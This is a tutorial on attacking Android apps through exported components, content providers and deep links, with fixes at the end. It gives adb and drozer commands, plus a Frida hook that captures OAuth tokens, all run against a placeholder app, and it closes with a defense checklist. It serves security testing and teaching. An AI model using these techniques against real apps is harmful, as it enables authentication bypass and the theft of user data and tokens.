Android Intent Security: Exploiting Exported Components and Deep Links

Android intent security exploiting exported components — cyberpunk illustration

Android Intents are the backbone of inter-component communication — and one of the most underestimated attack surfaces in mobile security. Exported activities, implicit intents, deep link hijacking, and unprotected content providers are responsible for a significant slice of real-world Android vulnerabilities. This guide covers how to find and exploit them all.

What Are Android Intents?

An Intent is a message object used to request an action from another app component — starting an Activity, sending a Broadcast, or binding to a Service. There are two types: explicit intents (targeting a specific component by class name) and implicit intents (described by action + data, letting Android resolve which app handles them).

The security problem: when components are marked android:exported="true" without proper permission checks, any app on the device — or an attacker with ADB access — can launch them, read their data, or inject malicious inputs.

Step 1 — Find Exported Components

The first step in any Android security assessment is mapping the attack surface. We want every exported Activity, Service, BroadcastReceiver, and ContentProvider.

bash — intent-audit
# Find all exported activities in a target app
$ adb shell dumpsys package com.vulnerable.app | grep -A2 “exported=true”
Activity com.vulnerable.app/.AdminActivity
intent-filter:
action android.intent.action.MAIN
[+] Found exported Activity: AdminActivity — no permission required
 
# Launch the exported activity directly
$ adb shell am start -n com.vulnerable.app/.AdminActivity
[+] Starting: Intent { cmp=com.vulnerable.app/.AdminActivity }
>>> Admin panel loaded without authentication <<<

The fastest way at scale is drozer, which automates attack surface enumeration and can interact with providers directly without writing a single exploit app.

bash — drozer-attack
# Start drozer console
$ drozer console connect
Selecting f75640f05560 (unknown Android SDK built for x86 5.1.1)
 
# Enumerate attack surface
$ run app.package.attacksurface com.vulnerable.app
[+] 3 activities exported
[+] 1 broadcast receivers exported
[+] 2 content providers exported
 
# Exploit content provider — read private data
$ run app.provider.query content://com.vulnerable.app.provider/users
| _id | username | password_hash | email |
|—–|———-|————————|—————–|
| 1 | admin | 5f4dcc3b5aa765d61d8327 | admin@app.com |
[-] Private user data exposed via unprotected content provider

Step 2 — Exploit Exported Activities

An exported Activity without an enforced permission is effectively a backdoor. Common misconfigurations include: admin panels exported for debugging and never locked down, password reset flows reachable without prior authentication, and deep link handlers that process user-supplied data without validation.

Beyond direct ADB launching, attackers can exploit exported Activities from a malicious app installed on the same device — no user interaction required beyond installing the attacker app.

Step 3 — Deep Link Hijacking

Deep links (myapp://, https:// with App Links) are implicit intents handled by registered Activities. If an app registers a scheme without proper verification, a malicious app can register the same scheme and intercept sensitive tokens passed via deep links — a common OAuth callback attack.

javascript — frida-intent-intercept
# Hook Intent.setData to intercept deep links
$ frida -U -l intercept_intent.js com.target.app
Java.perform(function() {
var Intent = Java.use(“android.content.Intent”);
Intent.setData.implementation = function(uri) {
console.log(“[*] Intent.setData: ” + uri);
return this.setData(uri);
};
});
 
[+] [*] Intent.setData: myapp://auth?token=eyJhbGciOi…
>>> Deep link token captured in transit <<<

Step 4 — Intent Redirection & Pending Intents

Intent redirection occurs when an app receives an Intent from an untrusted source and forwards it to another component. If the forwarded Intent carries elevated permissions or targets sensitive components, an attacker can leverage this as a privilege escalation path. Pending Intents with mutable extras compound this risk significantly.

The fix: validate all Intent extras before forwarding. Use FLAG_IMMUTABLE for PendingIntents. Always specify explicit component targets. Add permission checks on exported components (android:permission attribute or runtime checkCallingPermission()).

Defense Checklist

  • Set android:exported="false" on all components not intentionally public
  • Require a custom signature-level permission for components shared between your own apps
  • Validate all data received in onNewIntent() and onActivityResult()
  • Use Android App Links (verified HTTPS deep links) instead of custom URL schemes
  • Audit with drozer and apktool before every release — treat exported components as API endpoints

Intent security is one of the highest-ROI areas in Android security testing. A single unprotected exported Activity in a banking app can mean complete authentication bypass. If you want to practice these techniques in a legal, purpose-built environment, Mobile Hacking Lab has dedicated Android Intent Security labs.